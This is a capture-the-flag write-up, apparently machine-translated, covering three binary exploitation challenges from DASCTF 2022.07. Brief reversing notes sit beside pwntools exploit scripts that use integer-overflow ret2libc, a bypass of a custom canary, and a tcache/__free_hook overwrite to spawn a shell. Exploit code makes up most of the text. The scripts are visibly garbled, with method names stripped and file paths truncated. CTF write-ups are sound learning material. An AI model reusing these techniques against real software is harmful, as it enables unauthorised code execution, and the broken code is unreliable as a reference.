DASCTF2022.07 Empowerment Race PWN Part WP
Procedural protection status
64-bit ida reverse
You can see that it's a random number logic, and as long as we don't guess correctly 4 times we can enter the exploit function, but I have a feeling that this could have originally been the == sign to allow the use of random numbers for the
Then we will 4 times not enter a number can enter the loophole function, here pay attention to this a1 is that we enter the loophole function before the value to be entered, you can see in the read when using the un int and judgment of the int, then there is a type of conversion caused by the integer overflow, we can enter a number smaller than 4294967296, so that in the judgment of conversion of the When it is a negative number, and in the input is this big number, so it can cause overflow, and then ret2libc
EXP
from pwn import *
context(log_level='debug',arch='amd64',os='linux')
io = process('./eyfor')
#io = remote('',26262)
libc = ELF('/lib/x86_64-linux-gnu/.6')
elf = ELF('./eyfor')
('go','a')
('message:','1')
('message:','1')
('message:','1')
('message:','1')
('4294967220')
()
#(io)
pop_rdi = 0x0000000000400983 #: pop rdi ; ret
payload = b'a'*0x38 + p64(pop_rdi) + p64(['puts']) + p64(['puts']) + p64(0x4007B7)
(payload)
('CST\n')
puts_addr = u64((6).ljust(8,b'\x00'))
success('puts_addr---->'+hex(puts_addr))
system = puts_addr - ['puts'] + ['system']
binsh = puts_addr - ['puts'] + next(('/bin/sh'))
()
payload = b'a'*0x38 + p64(pop_rdi+1) + p64(pop_rdi) + p64(binsh) + p64(system)
(payload)
()
However, when reproducing it the remote buu platform disabled the data command, causing the program to crash before it even started typing 。。。。。
MyCanary2
Procedural protection status
64-bit ida reverse
At initialization time the program uses a timestamp and a random number to get the seed.
The program doesn't turn on canary protection but simulates a canary-like function where we can view the canary, but after that the canary changes, there's an overflow, but at the end there's a check
So we can look for loopholes
At the end of the checking function found that if the rbp - 4 position is 0 it will jump and not execute the check, then our first step overflow then, in the update of this manual canary bypassing the check, and then exit to execute the backdoor function
And the program has a backdoor function
EXP
from pwn import *
context(log_level= 'debug',arch='amd64',os='linux')
io = process('./MyCanary2')
('choice','1')
payload = b'a'*(0X70-4) + p32(0) + p64(0) + p64(0X40157B)
('code:')
(io)
(payload)
('choice','2')
('choice','3')
()
compat
Procedural protection status
64-bit ida reverse
menu
add function, here when applying for the input tag with 0x80, the result as the next input, we can enter 0xff bypass, resulting in an overflow to save the location of the heap block pointer, and then realize the leakage of the heap address, the same way because the libc is 2.31, apply for 7 heap blocks and then free into the can enter the unsortbin, modify the pointer leak libc address, but be careful, can only apply for 8 heap block
The free function, which zeroes out pointers without free
The freeall function iterates through the just-freed heap block and then frees it in turn, clearing the pointer to zero.
Thoughts:
1. Bypass the with operation by \xff to allow as many bytes as possible to be written, leaking the heap block address
2. Modify the heap block pointer to unsortbin heap block, leak libc address
3. fake heap block to let the pointer modified to the fake_chunk at the modified already free heap block fd pointer bit free_hook, because the contents of the free of this question is to control the pointer priority, resulting in /bin/sh parameter or sh parameter is not good to enter, so simply use one_gadget
EXP
from pwn import *
context(log_level='debug',arch='amd64',os='linux')
io = process('./compact')
#io = remote('',27724)
libc = ELF('./libc-2.')
def add(msg,tag):
('choice: ','1')
('data: ',msg)
('tag: ',tag)
def show(index):
('choice: ','2')
('idx: ',str(index))
def free(index):
('choice: ','3')
('idx: ',str(index))
def freeall():
('choice: ','4')
add('a',b'\xffaaa')
(io)
show(0)
('aaa')
heap_base = u64((6).ljust(8,b'\x00')) - 0x2c0
success('heap_base--->'+hex(heap_base))
for i in range(7):
add(p64(0x91)*14,'b')
for i in range(7):
free(7-i)
free(0)
freeall()
payload = b'\xffaaa' + p64(heap_base+0x2c0)[:2]
add('a',payload) #0
show(0)
('data: ')
libc_base = u64((6).ljust(8,b'\x00')) -0x70 - ['__malloc_hook']
success('libc_base---->'+hex(libc_base))
system = libc_base + ['system']
free_hook = libc_base + ['__free_hook']
one = libc_base + 0xe6af1
add('a',b'\xffaaa\x80') #1
free(1)
freeall()
payload = b'a'*0x20 + p64(0) + p64(0x21) +p64(heap_base+0x560) + p64(heap_base +0x10)+ p64(0) + p64(0x91)+ p64(free_hook)
add(payload,'2')
add('/bin/sh\x00','\xff'+'sh\x00\x00\x00\x00') #2
#(io)
add(p64(one),'\xff'+'sh\x00\x00\x00\x00') #3
free(3)
#(io)
freeall()
()